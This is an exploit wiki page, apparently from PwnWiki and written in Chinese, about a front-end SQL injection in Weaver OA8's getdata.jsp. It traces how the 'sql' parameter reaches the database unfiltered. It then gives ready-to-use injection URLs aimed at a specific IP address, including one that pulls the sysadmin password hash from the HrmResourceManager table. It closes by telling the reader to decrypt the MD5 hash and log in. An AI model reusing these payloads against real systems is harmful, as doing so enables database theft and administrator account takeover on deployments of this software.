泛微OA8 前台SQL注入漏洞

From PwnWiki
Other languages:
Chinese • ‎中文(繁體)‎

注入點

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=***


getdata.jsp中,直接將request對象交給

weaver.hrm.common.AjaxManager.getData(HttpServletRequest,ServletContext) :

方法處理


在getData方法中,判斷請求裡cmd參數是否為空,如果不為空,調用proc方法

Proc方法4個參數,(“空字符串”,”cmd參數值”,request對象,serverContext對象)

在proc方法中,對cmd參數值進行判斷,當cmd值等於getSelectAllId時,再從請求中獲取sql和type兩個參數值,並將參數傳遞進getSelectAllIds(sql,type)方法中

getSelectAllIds(sql,type)方法中,直接將sql參數的值,傳遞進數據庫執行,並判斷type的值是否等於5,如果等於5,獲取查詢結果的requestId字段,否則獲取查詢結果的id字段

到此,參數從URL,一直到數據庫被執行

根據以上代碼流程,只要構造請求參數

?cmd= getSelectAllId&sql=selectpassword as id from userinfo;

即可完成對數據庫操控

在瀏覽器中,構造測試URL:

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%201234%20as%20id

頁面顯示1234

Payload

Select password as id from HrmResourceManager

 

http://106.15.190.147/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

查詢HrmResourceManager表中的password字段,頁面中返回了數據庫第一條記錄的值(sysadmin用戶的password)


解密MD5登入系統。